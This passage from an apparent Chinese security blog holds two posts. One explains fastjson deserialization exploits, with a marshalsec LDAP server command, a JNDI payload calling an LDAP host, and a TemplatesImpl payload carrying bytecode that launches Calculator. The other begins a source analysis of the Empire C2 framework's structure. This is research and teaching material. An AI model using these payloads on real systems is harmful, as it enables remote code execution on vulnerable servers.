
1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8081/\#ExecTest

payload如下:

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

这个利用方案与RMI相同,由于JNDI有动态协议切换的特性,所以我们传入LDAP协议的payload也是可以的。而且ldap的适用性更广,放一张2016年的blackhat演讲,LDAP在

image-20200405134201277

插曲:JDK版本对RMI和LDAP的限制

From smi1e

JDK 6u132, JDK 7u122, JDK 8u113 中JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。

LDAP服务的Reference远程加载Factory类不受上一点中com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。不过在2018年10月,Java最终也修复了这个利用点,对LDAP Reference远程工厂类的加载增加了限制,在Oracle JDK 11.0.18u1917u2016u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false

RMI BeanFactory

RMI禁用了远程加载类后,新的POC模式出现了,使用RMI+本地加载类的方式进行绕过,例如BeanFactory类.

当服务端使用了高版本的JDK(9u191以上版本),默认状态下不能在远程加载恶意的Factory,但如果在本地有能够利用的Factory就依然可以走getObjectInstance()的分支实现命令执行

一个满足条件并且被广泛使用的类是org.apache.naming.factory.BeanFactory,在Tomcat的依赖包中。

实际的利用过程是,首先恶意的RMI-Server需要绑定一个ResourceRef来封装工厂类,当客户端lookup操作获取到对象后,会先判断是否是Reference类型

image-20200410220355915

如果是Reference会使用getObjectFactoryFromReference方法获取工厂类,然后调用factory.getObjectInstance方法进行实例化。这里获取到的工厂类就是BeanFactory

LDAP Java Serialized Data

POC5:特殊类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

1
2
// payload
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA1McGVyc29uL1Rlc3Q7AQAKRXhjZXB0aW9ucwcALAEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcALQEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAF0BwAuAQAKU291cmNlRmlsZQEACVRlc3QuamF2YQwACAAJBwAvDAAwADEBAD0vU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcC9Db250ZW50cy9NYWNPUy9DYWxjdWxhdG9yDAAyADMBAAtwZXJzb24vVGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAsAAAAOAAMAAAAPAAQAEAANABEADAAAAAwAAQAAAA4ADQAOAAAADwAAAAQAAQAQAAEAEQASAAEACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAAVAAwAAAAqAAQAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAFQAWAAIAAAABABcAGAADAAEAEQAZAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAAaAAwAAAAgAAMAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAGgAbAAIADwAAAAQAAQAcAAkAHQAeAAIACgAAAEEAAgACAAAACbsABVm3AAZMsQAAAAIACwAAAAoAAgAAAB0ACAAeAAwAAAAWAAIAAAAJAB8AIAAAAAgAAQAhAA4AAQAPAAAABAABACIAAQAjAAAAAgAk"],'_name':'a.b','_tfactory':{ },"_outputProperties":{}}

利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplateImpl类实现的命令执行

fastjson 1.2.25修复

https://github.com/alibaba/fastjson/compare/1.2.24...1.2.25

image-20200410234925624

fastjson 1.2.42修复

https://github.com/alibaba/fastjson/compare/1.2.25...1.2.42

image-20200411001638162

image-20200411002000317

image-20200411005234842

Reference

Empire源码分析

一直在思考远控应该怎么设计,远控的源码究竟是什么样的。这次我会对Empire这个优秀的开源后渗透框架的源码进行分析,去挖掘这个框架背后的设计方法和原理。我想,分析完这个框架之后,我们就能够借鉴其思想,自己来实现一个远控程序来。

由于一些原因,这些分析只能在下班时间来写。对于这个框架,我打算分五篇文章写完,目录结构如下:

  1. Empire整体结构 & 程序入口
  2. Stager & Listener & Agent
  3. 数据流通 & 数据加密
  4. 插件 & 扩展性
  5. 第三方库们

今天先开始第一篇,谈一谈Empire的目录结构和入口文件。从Github获取源码,只显示了二级目录并去除了一些安装部署相关的文件后,比较重要的几个目录结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
Empire

├── data data目录用于存放静态文件、模板、数据库等

│ ├── agent

│ ├── empire-chain.pem

│ ├── empire-priv.key

│ ├── empire.db Empire使用了sqlite数据库存储

│ ├── misc

│ ├── module_source

│ ├── obfuscated_module_source

│ └── profiles

├── empire 主程序入口,python文件

├── lib

│ ├── common

│ ├── listeners 放置了不同的listener

│ ├── modules 放置了各种payload,后渗透功能相关

│ ├── powershell 放置Invoke-Obfuscation项目文件,用于混淆powershell

│ └── stagers 放置了各种平台下的stager

└── plugins 放置了插件示例文件

可以看见项目文件还是比较清晰的,由于当前远控多数情况还是被控端主动连接到控制端的,为了区分方便,在下文中我会将被控端称之为Client,将控制端称为Server。

我们先来分析Server端,看一下这个项目是怎样运行的。首先关注一下Empire/empire这个文件,这是整个程序的入口。在逐渐阅读了Empire项目源码之后,我比较惊讶的是这个后渗透框架的本质其实是一个Flask Web App。

程序在最开始定义了一些数据库连接和查询相关的函数,这里的数据库使用的是sqlite。为了给RESTFUL API鉴权,这里还给出了生成token的函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def refresh_api_token(conn):

"""

Generates a randomized RESTful API token and updates the value

in the config stored in the backend database.

"""

# generate a randomized API token

apiToken = ''.join(random.choice(string.ascii_lowercase + string.digits) for x in range(40))

execute_db_query(conn, "UPDATE config SET api_current_token=?", [apiToken])

return apiToken

岔个话题,这种写法还是蛮pythonic的,直接用了random.choice函数来随机选择,而且还使用了类似列表推导的语法

之后开始的start_restful_api()函数则是使用Flask框架来注册了一堆路由,用于RESTFUL API。有人可能会好奇这玩意是做什么用的,其实在EmpireProject的github账号中已经创建了Empire GUI客户端的项目,应该是用于客户端与服务端的交互过程,或者是留了接口能够以后被第三方工具调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
####################################################################

#

# The Empire RESTful API.

#

# Adapted from http://blog.miguelgrinberg.com/post/designing-a-restful-api-with-python-and-flask

# example code at https://gist.github.com/miguelgrinberg/5614326

#

# Verb URI Action

# ---- --- ------

# GET http://localhost:1337/api/version return the current Empire version

#

# GET http://localhost:1337/api/config return the current default config


# GET http://localhost:1337/api/stagers return all current stagers

# GET http://localhost:1337/api/stagers/X return the stager with name X

# POST http://localhost:1337/api/stagers generate a stager given supplied options (need to implement)

# ...

官方已经给了很详细的注释,可以直接去读101行开始的源码,这一部分不再详细说明

从1362行来到了’main’,进入真正的逻辑,这里取了一些参数,我们只看最普通的执行情况,只有很简单的几句:

1
2
3
4
5
6
7
else:

\# normal execution

main = empire.MainMenu(args=args)

main.cmdloop()

进入了empire模块中MainMenu类的cmdloop()函数,这个empire模块才是框架比较核心的部分,之前的只是入口

进入Empire/lib/common/empire.py文件继续阅读

1
2
3
4
5
6
7
8
9
10
11
12

\# custom exceptions used for nested menu navigation

class NavMain(Exception):

"""

Custom exception class used to navigate to the 'main' menu.

"""

pass

一上来定义了几个类用于异常处理,其实这个是在菜单跳转中使用的。真正重要的是之后定义的几个大的类,MainMenu, SubMenu, AgentsMenu, AgentMenu, PowerShellAgentMenu, PythonAgentMenu, ListenersMenu, ListenerMenu, ModuleMenu, StagerMenu,下面一个一个讲

MainMenu是最核心的控制部分,程序启动后会首先进入主菜单。Empire菜单的控制逻辑其实不全是自己写的,而是继承了cmd模块中的Cmd类,这个类的详情可以看这里,简要来说的话就是提供了写命令行应用的一些很方便的特性,比如能够自定义命令和语法、整体读取命令和返回结果的循环、TAB键的语法补全,我们在MainMenu类中看到形如do_xxx的语法均为定义指令,help_xxx的语法均为定义帮助命令,complete_xxx的语法均为处理TAB补全相关

在写远控框架的时候另一个比较重要的问题是,当我们发送的命令得到Client回复时,Server如何获知这个消息。Empire在这个问题上给出的答案是使用dispatcher模块。这个模块是生产者-消费者模式的一种实现,详情可以见http://pydispatcher.sourceforge.net

1
2
3
# set up the event handling system

dispatcher.connect(self.handle_event, sender=dispatcher.Any)

77行这里指定了MainMenu的事件处理函数,这里对任何sender发出的信号都会接收并处理,我们去handle_event函数看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
def handle_event(self, signal, sender):

"""

​ Whenver an event is received from the dispatcher, log it to the DB,

​ decide whether it should be printed, and if so, print it.

​ If self.args.debug, also log all events to a file.

​ """

​ \# load up the signal so we can inspect it

try:

​ signal_data = json.loads(signal)

except ValueError:

​ print(helpers.color("[!] Error: bad signal recieved {} from sender {}".format(signal, sender)))

return

​ \# this should probably be set in the event itself but we can check

​ \# here (and for most the time difference won't matter so it's fine)

if 'timestamp' not in signal_data:

​ signal_data['timestamp'] = helpers.get_datetime()

​ \# if this is related to a task, set task_id; this is its own column in

​ \# the DB (else the column will be set to None/null)

​ task_id = None

if 'task_id' in signal_data:

​ task_id = signal_data['task_id']

if 'event_type' in signal_data:

​ event_type = signal_data['event_type']

else:

​ event_type = 'dispatched_event'

​ event_data = json.dumps({'signal': signal_data, 'sender': sender})

...

注释写的挺清楚,收到信号时会记录到Database,并根据signal中的选项决定是否打印数据,在不同的菜单中显示不同的数据类型的相关逻辑就是这样控制的,除此之外,dispatcher也是listener与主控程序的通信方式。之前提到过,empire本质上是一个web应用,这个web应用是被主控程序启动的,主控程序与web应用这种无状态应用之间其实是存在一种隔离的,empire使用dispatcher机制来突破了这种限制(我原以为会是通过数据库读写,其实并没有),既然提到这里,我们也看一眼listener的相关实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
\# lib/listeners/http_com.py

@app.before_request

def check_ip():

"""

Before every request, check if the IP address is allowed.

"""

if not self.mainMenu.agents.is_ip_allowed(request.remote_addr):

​ listenerName = self.options['Name']['Value']

​ message = "[!] {} on the blacklist/not on the whitelist requested resource".format(request.remote_addr)

​ signal = json.dumps({

'print': True,

'message': message

​ })

dispatcher.send(signal, sender="listeners/http_com/{}".format(listenerName))

return make_response(self.default_response(), 404)

其实这里价值在于观察程序的启动方式,观察菜单跳转和命令都是怎么实现的,看完这里我们完全也可以自己做一个相似的CC出来

菜单跳转这里是通过raise Exception实现的,在主菜单中永续循环读取命令,判断需要显示的菜单,如果需要跳转到agents/listeners等菜单会抛出一个异常,修改需要现实菜单的变量,主菜单捕获相应异常,根据变量值实例化一个新的菜单对象,然后再开始新的菜单对象的cmdloop()函数

第一章到此结束。先简单写一下逻辑结构,至此我们已经明确了empire的菜单实现,明确了菜单之间的跳转是怎么做到的,也明确了empire交互性良好的REPL模式命令行构建的秘密,从下一章开始我会将重点放在CC真正重要的部分。